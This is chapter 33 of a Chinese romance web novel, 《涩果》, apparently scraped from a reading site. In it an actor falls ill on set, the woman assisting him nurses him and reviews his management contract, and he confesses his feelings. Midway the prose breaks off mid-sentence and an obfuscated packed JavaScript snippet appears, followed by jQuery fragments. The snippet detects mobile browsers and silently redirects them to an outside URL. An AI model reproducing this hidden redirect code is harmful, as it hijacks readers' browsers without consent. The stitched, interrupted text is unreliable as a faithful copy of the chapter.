33.第 33 章
作品:《涩果》 33
阎慎的答案,梁思意只猜对一半,此刻她既在意料之中,也有意料之外的不知所措。
“我不知道……”梁思意迷茫又困惑,沉默许久,忽然问,“你应该知道我妈跟阎叔叔离婚的事情吧。”
阎慎“嗯”了声,不明白她为什么突然提起这件事,只是静静地看着她。
梁思意用简单的言语将何文兰和阎余新的纠葛说清楚。
她看着阎慎,眼中有迟疑,也有试探:“你有没有想过,这些年你对我……”
“我没有。”阎慎很快反应过来,“梁思意,我爸是我爸,他经营不好感情是他的问题,你不能把他的选择附加在我这里。”
“我对你不是执念,也不是一时冲动。”他抬手放在梁思意的肩侧,才发觉她的身体在微微颤抖。
阎慎意识到他们在洗手间待了太久,房间的制暖效果没那么好,这里的温度有些偏低。
“梁思意,我今晚喝了酒,你或许会觉得我现在不够清醒。”阎慎把心里话说出来,已经没有那么急切,毕竟以后的时间还长,他不想把梁思意逼得太紧,让她在仓促中做出选择,把关系变得不安和复杂。
阎慎松开手,拉开彼此距离,给她空间和时间,低声询问:“今晚你先回去休息,等明天睡醒,我们好好聊一聊可以吗?”
梁思意心里也很乱,许多东西都需要梳理,胡乱应了一声。
阎慎稍微松了口气,说:“那我送你回房间。”
“……”梁思意在混乱中仍旧觉得好笑,“只有几米,你真的没有喝多吗?”
“我知道。”阎慎神情认真,“现在太晚了,不安全。”
梁思意没有跟他争这个,说:“好吧。”
两人一前一后走出房间,凌晨的酒店走廊格外寂静。
梁思意走了几步,刷卡推门进屋。
“梁思意。”阎慎站在门前,神情忽然变得有些犹豫,“你不会半夜偷偷离开吧?”
梁思意站在没开灯的屋里,走廊的光落进去几分,衬得她眼睛很亮。
她问阎慎:“你知道我学法之后,记住最深的是什么?”
“什么?”
“逃避只会扩大风险。”梁思意慢慢缓过来一些,说,“我只是现在有些乱,需要点时间。”
“好。”阎慎没有想象中那么轻松,但在此刻也没有想象中那么紧绷,“我明天早上的戏,等我回来,我们再聊?”
梁思意点点头,说:“早点休息,明天还是张涛陪你去剧组?”
阎慎“嗯”了一声,又说:“之后……算了,到时再说吧。”
梁思意没有多问再说什么,伸手关上门,她在黑暗里站了许久,才将房卡插入取电槽里。
阎慎站在门口,从门缝里看到屋里亮起的光,漂浮不定的心逐渐变得平静。
他也转身回了房间。
隔天是一早的戏,阎慎起床感觉喉咙有些不舒服,翻出周逸飞准备好的药箱,吃了一包感冒药。
路过梁思意房间,他停下脚步,犹豫了会还是没有敲门,只是掏出手机给她发了条微信。
YS:我先去片场了。
今天是拍大全景,几个主演都在,还有成百名群演。
阎慎候场时一直在不停喝水,微微有些刺痛的嗓子被热水浸润,缓解了几分痛意。
导演喊准备,他把保温杯递给张涛。
一场雨戏停停拍拍,花了将近两个多小时,作为这场戏的重心,阎慎一直在雨里来来回回地淋。
剧组提前准备了姜汤和感冒药。
等到导演喊卡,喷水器倏地停了下来,张涛拿着干净的浴巾上前,又把提前接好的姜汤递过去。
阎慎喝了大半杯,换好衣服之后又吃了一包感冒药,但不知是不是连着几夜醉酒加上昨晚没休息好,在下午拍完戏回酒店的路上,他已经开始发热。
下车时,张涛注意到他的脸泛着不正常的红意,没忍住问了句:“哥,你是不是发烧了?”
阎慎摇头,脑袋一阵晕乎,说:“没事,可能是没休息好,你先回去吧。”
“那……好吧,有事你再给我打电话。”张涛毕竟拿着高额工资,对阎慎的事还是比较上心的。
阎慎应了声,裹紧衣服径直进了酒店。
他刚回房间坐下,外边忽然传来刷卡的动静。
梁思意推门走了进来:“张涛给我发信息说你好像生病了。”
“好像是有一点。”阎慎一开口,嗓子已经哑了。
梁思意大吃一惊,微凉的手指贴到他的额头,手指碰到的温度烫得惊人,连忙说:“你先坐一会,我去拿体温计。”
阎慎浑身都难受,感觉有股热气在身体里散不开,喉咙又干又痛,整个人往床上一倒,也没力气再动。
梁思意去而复返,刷卡进屋,看见阎慎直接穿着外套躺在被子上,还以为他烧得晕了过去。
她走过去,推了推他的肩膀:“阎慎?”
他恍惚着睁开眼,眼睛因为高烧的生理反应,微微泛着红。
梁思意看着心里很不是滋味,眉头微微蹙起,小声说:“我还是送你去医院吧。”
阎慎胡乱应了声,听不出是好还是不好。
她没有再耽搁,给前台打电话,找人上楼帮忙把阎慎扶进车里,导航去了附近最近的医院。
从入院到挂上吊瓶,阎慎一直昏昏沉沉,耳边嘈杂的动静里总是夹杂着一道熟悉的声音。
忽远忽近。
他试图去抓住什么,却好像又被什么压住,动弹不得。
阎慎挣扎几次,但一直没挣开,情急之下,他忽然从梦里醒了过来,眼前是灯光明亮的输液室。
床位的四周被白色的屏风隔出一个单独空间,空气里萦绕着淡淡的消毒水味,四周隐约还能听见隔壁床位打游戏的动静。
阎慎微微侧头,看向趴在床边睡着的梁思意。
她脸枕着胳膊,睡得很沉,右手抓着他的左手手腕。
阎慎垂眸,看到被她压住的那只手的手背上贴着输液贴。
静默片刻,他小心翼翼地把手从她没什么力气的手心里抽出,梁思意无知无觉,依旧维持着先前的姿势。
下一秒,阎慎调整手势,掌心向上,又将手轻轻塞回到她手心里。
掌心相贴的瞬间,梁思意在睡梦里无意识握紧了一瞬,像在同一时间握住了他的心跳。
察觉到梁思意快要苏醒,阎慎又倏地闭上了眼睛。
梁思意昨晚一夜都没怎么睡,这一觉也只刚眯了一会。
一睁眼,她才发现自己握着阎慎的手,先前他输液时一直乱动,她不得已按住他的胳膊。
后来护士过来拔掉针头,梁思意又怕他乱蹭碰到针孔,一直压着他的胳膊没动。
她见阎慎沉睡不醒,索性也趴在床边,在不知不觉间睡了过去。
两只手不知道什么时候变成牵在一起。
梁思意怔愣片刻,抬眼见阎慎睡得安稳,小心翼翼把手从他手心里抽出,掌心的热意散开。
她坐在床边,无意识揉着有些发酸的肩膀。
阎慎没多会也醒了过来,高烧退了之后,他的脸色十分苍白,嘴唇也有些干裂。
梁思意起身去接了杯热水,站在床边,问:“好点了吗?”
阎慎“嗯”了一声,嗓子像被刀劈过一样,又疼又哑,喝了水也没有缓解许多。
“你这样明天还能去剧组吗?”梁思意担忧地看着他。
阎慎也不太清楚,只哑着声说:“先回去吧。”
医院离酒店并不远,梁思意停好车,阎慎从另一边下车,两人一前一后进了酒店大堂。
路过前台,梁思意还向先前上楼帮忙的工作人员道谢,对方问她能不能要一张阎慎的签名照。
“当然可以。”梁思意笑着说,“我回头拿给你。”
前台小姐姐笑得格外开心和激动:“太感谢了,您有什么需要再给我们打电话就行。”
“好。”梁思意没多停留,追到电梯间,看到等在那里的阎慎,走过去小声说:“前台的小姐姐是你的粉丝呢,之前也是她叫人帮我把你扶进车里的,她想要一张你的签名照,你回头记得给我一份。”
阎慎嗓子疼,没说话只点点头。
电梯到了一楼,梁思意跟着他走进去,想了想,又问:“可不可以也给我一张?”
阎慎看了她一眼,问:“拿去卖吗?”
“……”梁思意说,“你的签名照很值钱吗?”
阎慎不说话了。
电梯里安静了一瞬,梁思意考虑到他还是个病人,解释道:“我有一个特别要好的大学同学,她也是你的粉丝,从你拍《青春树》的时候就认识你了。”
阎慎浑身没力气,靠着电梯面板,连说话都费力:“好,到时候拿给你。”
梁思意皱眉看着他:“你还是别说话了。”
阎慎闭着眼笑了声。
回到房间没多会,梁思意提前定好的外卖送了上来,阎慎胃口不佳,为了不空腹吃药,随便吃了两口粥。
梁思意看他神色倦怠,说:“要不你还是提前跟剧组请个假吧,你休息一天,对身体也好。”
“我先吃药睡一觉,等晚上看看状态。”阎慎放下筷子,“昨天……”
“等你好了再说吧。”梁思意把药放到他面前,“怎么吃的都写在上边了,你过半个小时再吃,我先不打扰你休息了。”
阎慎“嗯”了一声,梁思意拎着垃圾走了出去。
挂念着阎慎的身体,她回去也一直没静下心看论文,晚上十一点多给阎慎发消息见他没回,拿着房卡去了502。
阎慎还没醒。
梁思意伸出手摸了摸他的额头,已经没有那么滚烫,是正常的体温。
他睡得很熟,呼吸微微有些沉,安静的睡容没有平时生人勿近的淡漠和攻击性。
是很少见的模样。
梁思意蹲在床边静静看了会,才小声喊醒他。
阎慎挣扎着睁开眼,目光带着睡梦中的恍惚,似乎有些没分清现实还是梦境:“梁思意……”
“嗯?”
“你怎么总在我梦里出现?”他说完又闭上了眼睛。
梁思意沉默着,半晌才低低地叹了口气。
-
阎慎一病休息了两天,刚巧碰到苗毓来剧组探班。
她听说阎慎生病,还特意到酒店探望,顺便给他带了一份草拟的初版经纪合同。
“你慢慢看,有什么要求尽管提。”比起方明浩,苗毓明显专业许多,摆出一副求贤若渴的态度,“你来我这里,所有的资源都只会优先给你,以后像《暗探》这样的制作组,你想演男主角,都不是难事。”
阎慎对她印象一直不错,拿着合同没着急翻看,只说:“谢谢苗姐,我会认真考虑。”
“OK,那我不耽误你休息了。”苗毓站起身,说,“方总年前才会回去,希望到时候能听到你们的好消息。”
阎慎笑了笑,起身送她到电梯口。
苗毓摆手说:“你也别送了,回去吧,别又给自己吹感冒。”
“行,那苗姐您慢走,有空联系。”阎慎等到她进了电梯,才转身回房间。
整个交谈过程为了避嫌,梁思意也一直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086274|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
待在屋里,看见阎慎进来,才抬起头说:“这个苗毓还挺有实力。”
阎慎倒了杯水,坐在桌边:“怎么说?”
“我上网查了,现在有好几个一线艺人都是她带出来的,还有这个昇浩娱乐。”梁思意把电脑屏幕转过去,说,“方明浩估计也只是在公司挂名,公司实际上还是他哥方明昇在管理,这个方明昇我以前实习接触过,是个挺厉害的人物,他们公司资质和备案信息都挺完善的,也没有特别严重的涉诉和被执行情况。”
阎慎滑动着鼠标。
“不过公司的核心,例如章程决策和流动资金、不动产一类的,需要去律所和法院开具相关证明才能查证,这涉及到委托手续,有点复杂。”梁思意说,“你要是想了解更多,我可以帮你去问问具体流程。”
阎慎拦住她准备拿手机的动作,声音带着笑意:“我又不投资他们公司,不用查那么清楚,你懂这么多,先帮我看看合同?”
梁思意说行,又问:“不过这不涉及什么保密协议吗?”
“你不是律师吗?我请律师帮我过合同,不需要这些。”阎慎把合同放到她面前,“辛苦了,梁律师。”
不谈论感情,梁思意没那么多顾忌,语气也不客气:“按小时付我咨询费就行。”
“工资里扣吧。”
提到这茬,梁思意抬起头,看着他,问了句:“还没问过呢,你一个月给我多少钱啊?”
阎慎淡淡报出一个数字:“两万,够吗?”
梁思意不说话了,默默打开合同。
类似的经纪合同她以前实习也接触过,了解起来没那么复杂,但梁思意还是从头到尾过了一遍,确保没遗漏任何细节。
大约半个小时后,她才放下合同说:“内容没什么大问题,就是关于解约这块,定义比较模糊,还有分成比例,是不是还可以再压一压?或者弹性阶梯设置,万一你以后火了,代言费身价都会跟着水涨船高。”
梁思意实习时听说过不少这样的案例,提醒道:“到时候可能会闹得很难看。”
阎慎“嗯”了一声。
梁思意说完,犹豫几秒,又指着其中一条说:“最后就是这条。”
阎慎垂眸看了眼,其中写的大概意思是艺人需要配合公司一切宣传安排,包括但不限于剧组CP,恋情炒作等等。
他看着梁思意,似乎不太明白。
“从专业角度来讲,公司这么安排,无非也是增加艺人热度.”梁思意没有看他,转着笔说,“就像于漪和胡文羽那种,适当条件下可以酌情考虑。”
“适当条件……”阎慎琢磨着这几个字,“什么算适当条件?”
梁思意抬眸看了他一眼,说:“我不知道。”
“这一条划掉吧。”阎慎拿起桌上的笔,在合同上留下一道黑色长痕,突然说,“周逸飞那边忙完了,明天会来剧组,到时候我让他先送你回家。”
梁思意愣了下,说:“不用,我可以自己回去。”
“我以前没待过几个剧组,很多东西甚至都没有周逸飞知道的多,以前那个剧组因为都是年轻人,年纪又相仿,没有那么多弯弯绕绕。一开始只是因为突然知道我爸跟何姨离婚的事,我不想错过机会,一时又抽不开身,才会让周逸飞出面找你来剧组帮忙,但我没想到会让你接触到这些不好的东西。”阎慎放下笔,看着她,“对不起,我好像总是在做让你为难的事情。”
梁思意低声回答:“没什么。”
阎慎病还没好透,一口气说了那么多话,嗓子又有些不舒服。
他低头轻咳了声,又看着梁思意,说:“许多话早该说清楚,可我又怕你觉得我生病,不够清醒,才一直拖到今天。或许今天也不是什么好时机,但我不想再等了。”
梁思意意识到他接下来可能会说些什么,心跳忽然变得快了起来,安静地看着他。
阎慎的眼眸很黑,语气也很认真:“梁思意,我不知道你是怎么想的,可我对你从来都是认真的,我不是一时冲动,也不是因为什么执念。以前读高中的时候,我对你态度不好,说过难听的话,那些都不是真心的。”
她喉咙无端有些发干,端起水杯喝了一口,低声说:“我知道。”
“你不知道。”阎慎自嘲地笑了,“你不知道我有多嫉妒林西津,你也不知道我有多讨厌我们成为一家人,我以为我不会再有机会,以为不见到你时间可以慢慢将一切淡化,可我真的做不到。”
梁思意指尖收紧,握着杯子没说话。
新鲜的柠檬片分明泡在水里,此刻却像泡在她的心里。
“我不知道你为什么答应来当我的助理,你说不是可怜,我这两天一直在想,那会不会是你对我也有一点好感?毕竟我们以前也是很好的朋友。”阎慎很慢地说,“我以前不知道怎么跟喜欢的人做兄妹,也不知道怎么跟成为妹妹的你做好朋友,现在也不知道该怎么做才能让你接受我,但我还是想试一试。”
阎慎呼吸很沉,声音却很轻:“梁思意,我喜欢你,你可不可以再给我一个机会,让我们重新开始?”
酒店房间里的桌子很小,梁思意和阎慎面对面坐着,也不算离得很远。
她清晰地看见他眼底的期盼和紧张,自己也莫名有些紧张,交握在杯壁上的手指慢慢松动,心里被他的话塞得很满。
房间安静了很长一段时间。
阎慎没有催促,梁思意慢慢喝完一杯水,杯里的柠檬片逐渐沉底,余味仍旧酸涩。
她放下杯子,杯底磕在木桌上。
“噔”的一声。
阎慎眼睫微颤,听见期待已久的声音。
“我考虑考虑。”

